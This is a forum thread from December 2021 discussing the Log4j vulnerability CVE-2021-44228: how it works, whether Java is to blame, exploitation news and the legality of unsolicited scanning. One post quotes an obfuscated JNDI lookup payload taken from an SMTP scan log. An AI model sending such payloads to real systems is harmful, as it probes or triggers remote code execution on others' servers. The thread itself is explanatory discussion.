EEVblog Electronics Community Forum

Products => Computers => Security => Topic started by: madires on December 12, 2021, 02:36:22 pm

Title: Log4j CVE-2021-44228
Post by: madires on December 12, 2021, 02:36:22 pm
Security warning: New zero-day in the Log4j Java library is already being exploited: https://www.zdnet.com/article/security-warning-new-zero-day-in-the-log4j-java-library-is-already-being-exploited/ (https://www.zdnet.com/article/security-warning-new-zero-day-in-the-log4j-java-library-is-already-being-exploited/)

Log4j is a Java library for logging and it's used by many Java programs. Tons of stuff are affected by this: https://github.com/YfryTchsGD/Log4jAttackSurface (https://github.com/YfryTchsGD/Log4jAttackSurface)
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 12, 2021, 07:47:06 pm
And the relevance of J*va is what exactly?

;D
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 12, 2021, 07:57:28 pm
You'll be suprised how many services, platforms or products are affected, e.g. iCloud, Ubiquity management tool or several Cisco products.
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 13, 2021, 09:32:11 am
I'm not surprised.
Friends don't let friends use software :P
Title: Re: Log4j CVE-2021-44228
Post by: Ranayna on December 13, 2021, 01:17:57 pm
That thing is nasty. *Very* nasty.

And it potentially affects anything that you can talk to in any way.

And, as often with such nasty security issues, in hindsight it is patently stupid and ridiculous that whoever wrote the software though that the problematic feature was ever a good idea.

To clarify a bit on the issue:
Java has a feature allowing the loading of code fragments on the fly. This can happen from *any* URL though. So it can be on you local machine, or it can also be code that is lying on some host in the internet. So far, so worrying :D
The issue that log4j has, is that when it logs something that matches the proper syntax, it actually goes ahead and loads the code it finds there! So, for example, if you have an application that uses log4j2 to log usernames on failed logins, you are vulnerable. Someone can simply use the offending string as username, try to log in, and bam, you are infected.
And you not only can load stuff from any URL, you can also directly inject Java code, but then might hit length limits.

So this is a really critical flaw. You have to patch it urgently, for anything reachable from the general internet. If you have not yet patched and you are vulnerable, it might already be too late.
There are running attacks on this vulnerability. There are reports of successful attacks.
Title: Re: Log4j CVE-2021-44228
Post by: BradC on December 13, 2021, 02:01:09 pm
All of our web services have been getting slammed with exploit attempts since the 10th.
Title: Re: Log4j CVE-2021-44228
Post by: PKTKS on December 13, 2021, 02:20:08 pm
And the relevance of J*va is what exactly?

;D

Uncle GOOO  marvelous piece of advert A N D R O I D IIIIII

Must read on issue refer
https://christine.website/blog/open-source-broken-2021-12-11

Paul
Title: Re: Log4j CVE-2021-44228
Post by: golden_labels on December 14, 2021, 08:01:51 am
And the relevance of J*va is what exactly?
Seeing how much attention the bug has received and the list of affected products and services, you should already know it is used widely. But that is underestimation, because the number of potential victims is much smaller than it could be. The problem has been patched about three years ago on Java’s side, while log4j added a configuration option to disable that type of behavior four years ago. There is a modification of the original exploit that circumvents the mitigations in Java, but it also imposes additional requirements with regard to the target system.

But, considering that your post is unlikely an actual question and rather bashing of the technology, some clarification may be useful. This vulnerability is not related to the library being written specifically in Java.

That’s a standard code injection attack of algorithmic nature, an effect of an oversight while reusing code,(1) coupled with log4j implementing(2) a feature of using data sources localized on external servers. In other words: someone thought it will be a great idea for a message formatter to be able to obtain remote objects and for that purpose employed code never meant to work with potentially malicious data.

While CVE-2021-4428 relies on JVM’s feature, the part of that feature opening this vulnerability is not specific to Java. Any environment, that allows runtime code inclusion from attacker-controlled sources, is offering that attack path. The insecure code reuse problem is nothing to hold against log2j maintainers either, as it’s a plague in software — the reason NoScript blocks downloading of typefaces, why user-generated media are either banned or rewritten by many communication platforms, and until late 2010s the most widely used malware deployment vector (say hello to Adobe).

So, instead of mindlessly bashing something, maybe try understanding the nature of the problem? Because, if you are developing any serious software, it likely already contains 2/3 of that vulnerability and nearly(3) certainly one of three factors listed above.

If you ask why such a supposedly common problem receives that level of attention, while others of its kind do not, it’s because this particular instance fulfills all of the following criteria: it’s an RCE, writing an exploit is trivial, the attack is not probabilistic, at its disclosure many high-profile targets were affected, it may be exploited in a way that easily circumvents firewalls, IDSs and WAFs, it may be executed in a manner that leaves absolutely no traces, its simple modification permits exfiltration of some types of data without even deploying code to the victim and actual attacks are being already observed. That’s not something that occurs every day.

Uncle GOOO  marvelous piece of advert A N D R O I D IIIIII
Android is not supporting Java. It uses a language with syntax based on old Java versions and offers similar APIs. In particular it misses both the ability to execute Java bytecode and JNDI, which are used in that vulnerability.

____
(1) The original was never designed to work with untrusted data.
(2) Neither anything in Java nor in JVM does that. It’s library’s own invention.
(3) Some exceptions exist due to language developers silently enforcing security on the programmers.
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 14, 2021, 09:16:28 am
But, considering that your post is unlikely an actual question and rather bashing of the technology, some clarification may be useful. This vulnerability is not related to the library being written specifically in Java.
No, I was surprised that anyone here would care about a J*va dumpster fire.
But "seeing the list of affected products and services" I realized that maybe more people use junk that I wouldn't touch with a 3 meter pole.

The insecure code reuse problem is nothing to hold against log2j maintainers either, as it’s a plague in software
Nothing is ever the fault of software developers, it's just the way software needs to be.
You are a software dev, right? ;)

So, instead of mindlessly bashing something, maybe try understanding the nature of the problem? Because, if you are developing any serious software, it likely already contains 2/3 of that vulnerability and nearly(3) certainly one of three factors listed above.
I understand the nature of the problem to be the "Arduino culture" of software development, i.e. taking a bunch of fresh-outta-college code monkeys to stich shit together from random libraries, frameworks and solutions ill-suited to the job.
I frankly don't care about understanding the J*va "ecosystem" or how this particular trainwreck unfolded. I have heard enough from those people to stay awy from them.
Title: Re: Log4j CVE-2021-44228
Post by: PKTKS on December 14, 2021, 10:50:00 am
(..)
I understand the nature of the problem to be the "Arduino culture" of software development, i.e. taking a bunch of fresh-outta-college code monkeys to stich shit together from random libraries, frameworks and solutions ill-suited to the job.
I frankly don't care about understanding the J*va "ecosystem" or how this particular trainwreck unfolded. I have heard enough from those people to stay awy from them.

Cheap expendable code-monkeys taken from a crowd of fresh newbies...
is and was the absolute method to have high profit margins from all
the MAJORS tech dinosaurs as of today (fill the names yourself)

Quoting a very good assertion...

discusses a pertinent problem that has plagued the FOSS (Free and Open Source) world ever since large for-profit corporations started their widespread consumption of FOSS, ever since countless unicorns raised infinite amounts of funding on valuations built pretty much entirely on FOSS, ever since FOSS got co-opted into corporatisation and capitalisation. And yet, countless maintainers of critical and widely used FOSS struggle to make a living.


JAVA  was (since day ONE)  sold as a SILVER BULLET that would solve
all computer security hazards and mitigations..  the very same way
they are pushing RUST as the SILVER BULLET to everything security...

Guess what.. who owns GIT today?
Who benefits of expendable fresh code monkeys writing shit in JAVA PYTHING and  etc et al ?
Who really hire senior grade devels?

WTF anyone expect to happen now w/the new CLOUD rent_your_life shit?

Things will just get worse and while they can deprecate a whole system
every 15 days ... share holders are happy ... until the shit hit the fan..

This the JAVA - almost a whole fucking OS itself..
May be you can call it by other names..
still the very same old shit..

Paul
Title: Re: Log4j CVE-2021-44228
Post by: Jeroen3 on December 14, 2021, 11:50:41 am
You'll be suprised how many services, platforms or products are affected, e.g. iCloud, Ubiquity management tool or several Cisco products.
3 Billion devices run java.
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 14, 2021, 05:51:27 pm
The funny part of CVE-2021-44228 is that it's actually a Java feature (JNDI variable expansion) which simply does what it's intended for. >:D
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 14, 2021, 06:19:03 pm
Well, somebody also needs to decide to feed malicious data into that helpful language facility.

Reminds me of the good old times exploiting PHP inclusion bugs.
All I have ever known about PHP programming came from that :-DD
Title: Re: Log4j CVE-2021-44228
Post by: ve7xen on December 14, 2021, 08:27:17 pm
But, considering that your post is unlikely an actual question and rather bashing of the technology, some clarification may be useful. This vulnerability is not related to the library being written specifically in Java.
No, I was surprised that anyone here would care about a J*va dumpster fire.
But "seeing the list of affected products and services" I realized that maybe more people use junk that I wouldn't touch with a 3 meter pole.

The insecure code reuse problem is nothing to hold against log2j maintainers either, as it’s a plague in software
Nothing is ever the fault of software developers, it's just the way software needs to be.
You are a software dev, right? ;)

So, instead of mindlessly bashing something, maybe try understanding the nature of the problem? Because, if you are developing any serious software, it likely already contains 2/3 of that vulnerability and nearly(3) certainly one of three factors listed above.
I understand the nature of the problem to be the "Arduino culture" of software development, i.e. taking a bunch of fresh-outta-college code monkeys to stich shit together from random libraries, frameworks and solutions ill-suited to the job.
I frankly don't care about understanding the J*va "ecosystem" or how this particular trainwreck unfolded. I have heard enough from those people to stay awy from them.

Then why are you here, commenting on it, clearly having no idea what you are talking about - and even being proud of it - arrogantly disparaging developers using one of the most widely used and capable languages in the industry...? There is nothing wrong with Java, and this vulnerability has nothing to do with Java. The same pattern has occurred in countless vulnerabilities in every language in existence.

Not wanting to understand that this really has nothing to do with Java and is a common pattern of such security vulnerabilities in any language is a great way to make the same mistakes in your own products, and considering your attitude here, I am certain that you would walk right into many common pitfalls with your arrogance.
Title: Re: Log4j CVE-2021-44228
Post by: SiliconWizard on December 14, 2021, 10:17:27 pm
And the relevance of J*va is what exactly?

;D

Too much unfortunately. :popcorn:
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 14, 2021, 10:56:29 pm
Nothing to do with J*va, except somebody thought it would be a great idea if the JVM / standard library / whatever automatically fetched required class definitions from network locations embedded in deserialized objects (which is my vague understanding of how this exploit works).
Such a wonderful idea that they even turned it on by default for everybody for a few years.
And surely it was documented so well that every programmer knew about it.
 :-DD

Nothing, nothing is ever the fault of software developers.

And you see, there is actually a solid reason for that, because - gotcha - no single person is responsible for this bug.
How could the language designer foresee that somebody may deserialize a malicious object?
How could the library writer anticipate that somebody may log an untrusted string?
How could the application developer imagine that passing untrusted strings to 3rd party libraries with no warranty whatsoever may go wrong?
How could the management know that their developers copy-paste together random open source libraries and StackOverflow snippets?

The same pattern has occurred in countless vulnerabilities in every language in existence.
No, not the same.
C gives you plenty of rope to hang yourself, but not this particular noose.
Single-line remote loading of code is a job of richly featured, Web-enabled languages like PHP and now also Java, apparently ;)
I doubt that even C# has ever had the same problem.
In every sane language you would have to implement this yourself, even if merely by chaining together networking and serialization functions from standard libraries.
Title: Re: Log4j CVE-2021-44228
Post by: ve7xen on December 14, 2021, 11:45:50 pm
Nothing to do with J*va, except somebody thought it would be a great idea if the JVM / standard library / whatever automatically fetched required class definitions from network locations embedded in deserialized objects (which is my vague understanding of how this exploit works).

It's not part of the standard library.

Quote
In every sane language you would have to implement this yourself, even if merely by chaining together networking and serialization functions from standard libraries.

The fact that a library included the kitchen sink is not a Java problem. It's not caused by Java, nor is it exclusively the domain of Java. In fact, it has absolutely nothing to do with Java at all. It was indeed a bad idea, but the fact that it was implemented in Java is merely a curiosity. If you think other languages are somehow immune to third-party libraries making poor design decisions, you have no idea what you're talking about.

Quote
C gives you plenty of rope to hang yourself, but not this particular noose.
The noose of passing user input to library functions whose behaviour you don't understand and is dangerous by default is language agnostic. And C has rather a lot of 'dangerous by default' standard library functions.
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 15, 2021, 09:49:28 am
JVM / standard library / whatever
It's not part of the standard library.
So it is part of whatever, then ;)

Quote
The JNDI is included in the Java 2 SDK, v1.3 and later releases.
JNDI is included in the Java SE Platform.
Java Platform, Standard Edition (Java SE) lets you develop and deploy Java applications on desktops and servers.
IOW it's part of a quarter gigabyte package of libraries curated by Sun/Oracle which appears to be the only official way of getting the development tools from them and which you can then take for granted because it's easy enough to tell your customers to just download the same package and that's what everybody ends up doing, save for embedded ::) or desktop applications which can get by with the JRE.

That's how the JNDI spread and that's why everybody is affected by it. They all installed the same packages, frameworks, "technologies" and "solutions" because J*va is not a programming language - it's a way of life and an answer to every question of existence. That's how it's marketed and that's how it's distributed to end users.
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 15, 2021, 01:10:49 pm
Bonus time! If you think you've fixed your application using the updated Log4j version you might be wrong: CVE-2021-45046 (https://nvd.nist.gov/vuln/detail/CVE-2021-45046).
Title: Re: Log4j CVE-2021-44228
Post by: golden_labels on December 15, 2021, 02:10:03 pm
Ignorance feels good; ignorance mixed with overconfidence is a hard drug.

There is as much value in fighting either fanboys or bashers as it is in trying to discuss philosophy with a drunken person barely able to recall their name. The thing worth doing may be correcting misinformation before it infects other people. But that has been done above, so save yourself from xkcd 386. :D

To clarify one new statement from another person:
The exposure of JNDI in log4j isn’t itself the discussed vulnerability. It was an intentional feature of the library, and it had to be explicitly implemented and offered by log4j to be available. Accessing it isn’t magical: it is being directly given to be used. The vulnerability comes from assuming the formatting string can’t be controlled by the adversary. The researchers discovered it can. The situation is akin to that of C’s builtin printf being a route to RCE, data exfiltration or DoS; with the step making possible being like what bash has in its arithmetic evaluation if the adversary can control values.

2021-45046 is a mere DoS(1) and it’s expected to see those popping up. After any vulnerability getting famous, people start poking around or even modify the original finding to squeeze as much as possible from it. Which is why paying more attention to own products and services is a good idea: they are under higher risk for a few more months.
____
(1) Don’t interpret it as me being dismissive about it, but relatively to the original it’s hardly of any importance.

Title: Re: Log4j CVE-2021-44228
Post by: ve7xen on December 15, 2021, 07:51:18 pm
 |O JNDI is not the problem, loading remote objects is practically its entire, totally reasonable, purpose as an API. The problem is exclusively in log4j (NOT anything from Oracle or part of Java core, SE, or EE), which unexpectedly allowed what is a normal pattern for safe use of user input to give access to JNDI, which makes it unsafe.

The key, and very galling, problem here is that substitution in the log string is recursive by design. In a sane library, if you include user data via a format string, that variable is placed in the output string verbatim, and it will be safe since nothing in the user input causes side effects - it's merely placed as string. In log4j, that variable can itself contain its own substitutions, which will also be evaluated. This is just fucking braindead and surprising, so I assume developers did not expect this behaviour, which is why this problem is so widespread. log("{}", userAgent) is a reasonable thing to expect to be safe; log4j badly breaks the principle of least surprise here.

Quote
Variable replacement works in a recursive way. Thus, if a variable value contains a variable then that variable will also be replaced. Cyclic replacements are detected and will cause an exception to be thrown.

https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html

The possibility of RCE via JNDI was presumably also an oversight when it was added to log4j, but is a much more understandable thing to miss than the idea of allowing recursive string substitution which is just :wtf:. Without that, only 'bad' code patterns that pass user data directly as format string would be susceptible (log(userAgent)), and this should be avoided anyway.
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 15, 2021, 08:45:39 pm
If it just downloaded remote objects that wouldn't be easily exploitable for RCE if at all, I don't think there are stack overruns in JVM, but it downloads remote class definitions in order to construct completely alien types of objects.
And not even in the context of an established connection to a known database, like say an ORM would do, but it will happily establish new connection on per-object basis as directed by a single string.
Much more risky than anything I have seen commonly done.

Coming from the world of compiled languages, it feels like having a nice API to fetch DLLs from the Internet and using it as a matter of routine.
I mean, whatever works for them ::) :wtf:

Quick search shows it's not the first time there are RCEs due to this wonder API
https://www.veracode.com/blog/research/exploiting-jndi-injections-java (https://www.veracode.com/blog/research/exploiting-jndi-injections-java)
Title: Re: Log4j CVE-2021-44228
Post by: ve7xen on December 15, 2021, 11:42:12 pm
Serialization/marshalling of objects in any language commonly comes with the possibility of code execution, and most put big flashing red warnings about it in the documentation. It shouldn't ever be used anywhere near arbitrary user input, which is the intersection that log4j creates, and where the problem arises.

I agree that JNDI represents a bit of an antiquated paradigm, but it's not fundamentally a problem here. If you don't need it, don't load it and don't use it, and your application won't be vulnerable, no problem. In a similar way that sprintf is dangerous, and still present, but nobody competent uses it. The problem is that log4j both included JNDI functionality without obviously calling out the potential danger to its users, and critically, implemented it in a way that exposed that functionality via unsanitized input by default, with even best practice uses being vulnerable (I don't even think there is a way to avoid the recursive expansion...).

I think including JNDI functionality in a log library was clearly stupid, but it likely was proposed by a user, possibly along with a patch, and implemented without much thought as to its potential security impact. Happens all the time, even though it shouldn't. To me the more egregious thing is the recursive expansion *by design*. I can't imagine why you would want that or think it is a good idea.
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 16, 2021, 01:20:48 pm
Log4Shell attacks expand to nation-state groups from China, Iran, North Korea, and Turkey: https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-and-turkey/

Everyone tries to get a foot in the door at their prefered targets. Fun times! >:D
Title: Re: Log4j CVE-2021-44228
Post by: SiliconWizard on December 16, 2021, 05:30:52 pm
Very funny actually. ;D

And all that for logging stuff that is USELESS 99.9% of the time. Sure worth the pain! (Not saying you should never log anything, nor that such a crippled library is acceptable software, but just a note on the whole situation which is absurd IMHO.)
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 18, 2021, 11:42:45 am
Security firm Blumira discovers major new Log4j attack vector: https://www.zdnet.com/article/security-firm-blumira-discovers-major-new-log4j-attack-vector/ (https://www.zdnet.com/article/security-firm-blumira-discovers-major-new-log4j-attack-vector/)
Quote
A basic Javascript WebSocket connection can trigger a local Log4j remote code attack via a drive-by compromise.
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 18, 2021, 05:48:10 pm
Why post blog spam if there is the original article by people who actually know what they are talking about? ;)
https://www.blumira.com/analysis-log4shell-local-trigger/ (https://www.blumira.com/analysis-log4shell-local-trigger/)
Title: Re: Log4j CVE-2021-44228
Post by: SiliconWizard on December 19, 2021, 06:19:52 pm
So if anyone thinks this will all trigger some thoughts about current software development in general and lead to changes, I think they'll be in for big disappointment.
The damn library will get just "fixed" (until next failure) and people will keep doing business as usual.
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 19, 2021, 06:39:11 pm
Just saw an SMTP scan from a security company:
rejected EHLO from [a.b.c.d]: syntactically invalid argument(s): ${${::-j}ndi:dns://a.b.e.f/securityscan-<some ID>}
hint: a.b.c.d and a.b.e.f are IPv4 addresses

This is a nice example how CVE-2021-44228 could be triggered.
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 19, 2021, 07:05:43 pm
I wonder if some of those attack servers serving JNDI payloads to victims also might be using Log4j :-DD

If I were to publish a POC for such vulnerability I would include this as an easter egg for all the script kiddies to enjoy.
Title: Re: Log4j CVE-2021-44228
Post by: golden_labels on December 19, 2021, 07:32:03 pm
Since a couple reports so far of attempts to do so, a friendly warning: do not perform unsolicited security scans to inform potential victims unless you know that help of that kind is accepted. If you can’t resist the urge to help, consider educating people and asking them to test for being vulnerable. Be sure to link to actual knowledge and not pass your ideas, opinions or interpretations of the reality. log4j has a security notifications channel (https://logging.apache.org/log4j/2.x/security.html) that contains the relevant information.

Organizations, that are well versed in security and appreciate such assistance, are not common. You are more likely to face response somewhere between dismissal and aggression. The latter may be severe, including attempts to destroy you as a person. This is a common and recurring theme in any similar help attempts, but CVE-2021-44228 is more risky: it can’t be positively confirmed without activity that in most jurisdictions will be perceived as strictly criminal or on the fuzzy border of legality. Most smaller entities, like companies consisting of a few workers, will misunderstand your intentions and actions. To larger organizations you are a bearer of the bad news and that is a direct threat to many people in their structures. The mix contains security advisory companies, which are either dishonest and lack knowledge to provide advices or are acting with no regard for anyone other than their client.
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 19, 2021, 07:39:23 pm
Pretty sure it is illegal in Poland and I believe in the US too and probably in many places.
Unauthorized access to a computer system, thank you very much.

edit
Not necessarily saying it should be that way, but it just is.

And yes, I wouldn't send bad news to a vulnerable system owner by means traceable to me IRL. Firstly, the knowledge is obtained de-facto illegaly in many cases, secondly, stories circulate about organization reacting in a manner that would really make you regret any intentions of helping them >:D
Title: Re: Log4j CVE-2021-44228
Post by: golden_labels on December 19, 2021, 08:41:14 pm
So I have a surprise for you! Poland has an explicit provision in law that conditionally legalizes attacking computer systems for that very purpose. An example of poorly executed response to pentesters’ demands,(1) but it made it to the Penal Code in 2017 (https://isap.sejm.gov.pl/isap.nsf/DocDetails.xsp?id=WDU20170000768): addition of article 269c and introduction of §1 to 269b.

The catch? It has not been tested in court yet. So unless you volunteer to be a subject of a legal experiment, engaging in such activity is still a bad idea. The law, even if it works as intended, will not protect you from all the trouble the notified party may bring upon you. And the worst part is that you will face harsh treatment for trying to be helpful, which is by itself PITA.


(1) The backstory: EU-wide agreements require states to implement law that punishes production, posession, distribution etc. of tools that might be used to commit computer crimes, but only under condition that those tools were actually used for that purpose. Poland implemented only the first part, introducing a legal absurd. For years pleas to fix that has been ignored. Finally, in 2016/2017 lobbyists managed to convince Ministry of Digital Affairs to address that issue. But, instead of simply copying the text of the relevant directive and adding the exception, they wrote is from scratch, seemingly understanding neither the subject nor goals. The effect is you can see. A provision that is much wider — to the point of going absurd in the opposite direction.
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 19, 2021, 09:40:05 pm
Guess I missed it.
Last time I paid attention, tcpdump was an illegal hacking tool ;D

Note that there is no such exemption for 267/1 (not sure how much that one could be stretched against you) and 269c reads to me like all exemptions only apply if no harm has occurred, regardless of intent.

And I would like to bring to your attention that several of those articles mention confiscation, so you can imagine what may happen when you are formally charged. If you can't imagine, I can tell you that I used to know one "friend of a friend" dude who had all his computers "secured" for years by the police for evidence and potential confiscation because he was involve in some... stuff.
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 20, 2021, 02:38:16 pm
First Log4J worm (Mirai bot uses Log4Shell as another self-propagation method): https://twitter.com/1ZRR4H

And a huge THANK YOU to the Log4J developers who are working 22 hours a day at the moment - without any pay!!!
Title: Re: Log4j CVE-2021-44228
Post by: bitwelder on December 20, 2021, 03:22:50 pm
It seems that Belgian Defense Ministry network fell due to a log4shell attack: https://www.brusselstimes.com/belgium/198521/belgian-defence-ministry-network-partially-down-following-cyber-attack (https://www.brusselstimes.com/belgium/198521/belgian-defence-ministry-network-partially-down-following-cyber-attack)
Title: Re: Log4j CVE-2021-44228
Post by: SiliconWizard on December 20, 2021, 09:34:07 pm
It seems that Belgian Defense Ministry network fell due to a log4shell attack: https://www.brusselstimes.com/belgium/198521/belgian-defence-ministry-network-partially-down-following-cyber-attack (https://www.brusselstimes.com/belgium/198521/belgian-defence-ministry-network-partially-down-following-cyber-attack)

 :-DD
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 20, 2021, 10:12:46 pm
Google: More than 35,000 Java packages impacted by Log4j vulnerabilities (https://therecord.media/google-more-than-35000-java-packages-impacted-by-log4j-vulnerabilities/)
Title: Re: Log4j CVE-2021-44228
Post by: madires on December 23, 2021, 11:38:59 am
Logjam: Log4j exploit attempts continue in globally distributed scans, attacks (https://news.sophos.com/en-us/2021/12/20/logjam-log4j-exploit-attempts-continue-in-globally-distributed-scans-attacks/)

About 20 malwares employ the Log4j exploit already.
Title: Re: Log4j CVE-2021-44228
Post by: SiliconWizard on December 23, 2021, 08:54:01 pm
Nice =)
Title: Re: Log4j CVE-2021-44228
Post by: magic on December 24, 2021, 08:28:14 am
It's not funny.
We stand in solidarity with the victims and all Java developers stuck cleaning up this mess during Christmas :'(